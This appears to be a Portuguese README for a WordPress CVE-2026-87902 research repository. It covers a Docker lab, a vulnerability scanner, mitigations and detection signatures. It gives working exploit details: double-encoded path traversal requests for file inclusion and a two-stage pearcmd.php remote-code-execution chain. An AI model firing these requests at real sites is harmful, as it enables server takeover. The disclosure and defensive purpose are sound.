Laboratório de reprodução + scanner de lista de URLs + PoC para CVE-2026-87902 / GHSA-7hp8-65ch-5whp — LFI não autenticado no get_page_template() do WordPress para RCE condicional (WP 4.7.0-7.1.1, corrigido na 7.1.2). Testes autorizados/defensivos.
get_page_template() do WordPress → RCE condicionalLaboratório de reprodução + scanner de lista de URLs + PoC, construído e validado de ponta a ponta contra WordPress genuíno 7.1.1 (vulnerável) e 7.1.2 (corrigido) no laboratório Docker.
include/require (path traversal → inclusão local de PHP)AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)page-* (por exemplo, — presente no Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) apenas para RCE: um legível e .page-templates/pearcmd.phpregister_argc_argv=Onwp-includes/template.php :: get_page_template() constrói um candidato a template a partir da
query var pagename controlada pelo atacante sem validate_file():
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // <-- no validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
locate_template() então faz file_exists($theme_dir . '/' . $candidate) e dá include no acerto.
Como o candidato é page-{...}.php, o payload deve continuar um diretório real do tema que
começa com page- (por exemplo, page-templates/) e então subir com ../ para qualquer .php legível.
A codificação dupla é obrigatória. get_query_var('pagename') já é decodificado uma vez pelo PHP, então um
../ simples faz urldecode($pagename) === $pagename e o branch vulnerável é ignorado. Um
%252e%252e%252f duplamente codificado sobrevive à primeira decodificação como %2e%2e%2f e é transformado em ../
apenas pelo urldecode() extra — que é o bug.
lab/)Releases genuínas lado a lado no host Docker, diferindo apenas pela correção de segurança:
| Serviço | URL (somente loopback) | WordPress | Papel |
|---|---|---|---|
wp-vuln | http://127.0.0.1:8091 | 7.1.1 | vulnerável |
wp-patched | http://127.0.0.1:8092 | 7.1.2 | controle corrigido |
db | — | MySQL 8.4 | compartilhado (dois bancos de dados) |
Imagem base wordpress:php8.3-apache (que já inclui pearcmd.php e register_argc_argv=On),
com o core empacotado substituído pelos autênticos wordpress-7.1.1.zip / 7.1.2.zip. O Twenty Fourteen está
ativado (com page-templates/ real), e um fixture page-templates/ também é criado no tema ativo.
ID da página publicada = 2 (Sample Page).
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh # build + install both instances (idempotent)
./down.sh # tear down + remove volumes
As portas vinculam-se apenas a 127.0.0.1 — a instância vulnerável nunca é exposta à rede.
poc/cve-2026-87902-scan.py)Python 3, somente stdlib (sem pip install). Recebe uma lista de URLs e reporta quais são
vulneráveis. A varredura padrão é não destrutiva: inclui o arquivo core somente leitura
wp-links-opml.php e procura pelo documento OPML resultante — prova de que a inclusão arbitrária de .php
disparou, sem escritas e sem mudança de estado.
# single URL
./cve-2026-87902-scan.py http://target/
# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
<generator> → wp-links-opml.php →
readme.html → asset /wp-includes/ ?ver=)./wp/v2/pages, fallback ?rest_route=, homepage
page-id-N, padrão page_id=2) — necessário para que a requisição resolva para uma Page e get_page_template() execute.segment × depth (segment padrão templates, profundidades 4,3,5,6,7), envia
page_id=<id>&pagename=<../ duplamente codificado → wp-links-opml> (POST, para evitar redirecionamento canônico) e
exige um HTTP 200 contendo <opml version="1.0"> + um marcador secundário estrutural (</opml> / <outline / <dateCreated>)..php garantidamente inexistente. Se o OPML ainda aparecer, o OPML é ambiente (proxy / cache / app de feed),
não a nossa inclusão → rebaixado para POSSIBLY. Apenas um acerto cujo controle é limpo é VULNERABLE.Robustez: preserva caminhos de subdiretório (http://host/blog), lida com gzip/deflate e charsets incomuns,
repete uma sondagem uma vez em erro de transporte, descobre/valida IDs de página (REST → ?rest_route= → homepage
→ padrões), impõe um orçamento de tempo por alvo, e nunca afirma NOT_VULNERABLE a partir de uma fonte de versão de baixa confiança
(asset ?ver= / readme.html) — essas degradam para POSSIBLY.
| Veredito | Significado |
|---|---|
VULNERABLE | oráculo OPML disparou — LFI confirmado (definitivo) |
NOT_VULNERABLE | versão do branch corrigido, ou versão fora de 4.7.0–7.1.1 |
POSSIBLY_VULNERABLE | versão vulnerável/desconhecida mas oráculo silencioso (provavelmente sem diretório de tema page-*, layout não padrão, ou sem ID de página descobrível) — verifique manualmente |
NOT_WORDPRESS / ERROR | sem indicadores de WP / falha de transporte |
Código de saída: 2 se algum VULNERABLE, 1 se algum POSSIBLY (e nenhum VULNERABLE), caso contrário 0.
Flags úteis: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids,
--max-time (orçamento por alvo), --timeout, --threads, --proxy, --header, --insecure
(TLS desligado — apenas dev), --json, --jsonl. Para uma instalação WordPress em subdiretório, passe a base completa
(por exemplo, https://host/blog); para Bedrock/core em wp/ a varredura também tenta alvos de oráculo com prefixo wp/.
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
Executa a cadeia PEAR pearcmd.php: a query string dividida por + carrega argv de config-create que escreve
um marcador .php sem aspas em /tmp; uma segunda requisição o inclui. Imprime o marcador executado +
php_uname() + uid. Escreve um arquivo no alvo → alvo único, requer --i-have-authorization,
desligado por padrão.
evidence/)| Arquivo | O que prova |
|---|---|
manual-validate.sh / ev-lfi.log | oráculo OPML dispara no 7.1.1 (profundidade 4, POST e GET), silencioso no 7.1.2; apenas profundidade 4 funciona; codificação única falha |
rce-validate.sh / ev-rce.log | RCE PEAR completo no 7.1.1 (uid=33 como www-data, profundidade 7); corrigido não escreve arquivo, não executa nada |
ev-scan-table.log / ev-scan-results.json | scanner sobre {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR |
Formatos de requisição comprovados:
LFI (detection, non-destructive):
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with <opml version="1.0"> in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
register_argc_argv=Off no PHP para o SAPI web e remova/negue pearcmd.php;
isso remove a escalação para RCE mesmo que o LFI seja alcançável.pagename contendo ..; a coocorrência de page_id + um pagename começando com templates%252f /
contendo %252e%252e na raiz do site ou em /index.php é um sinal de exploração quase certo.Apenas para testes de segurança autorizados, educação e pesquisa defensiva.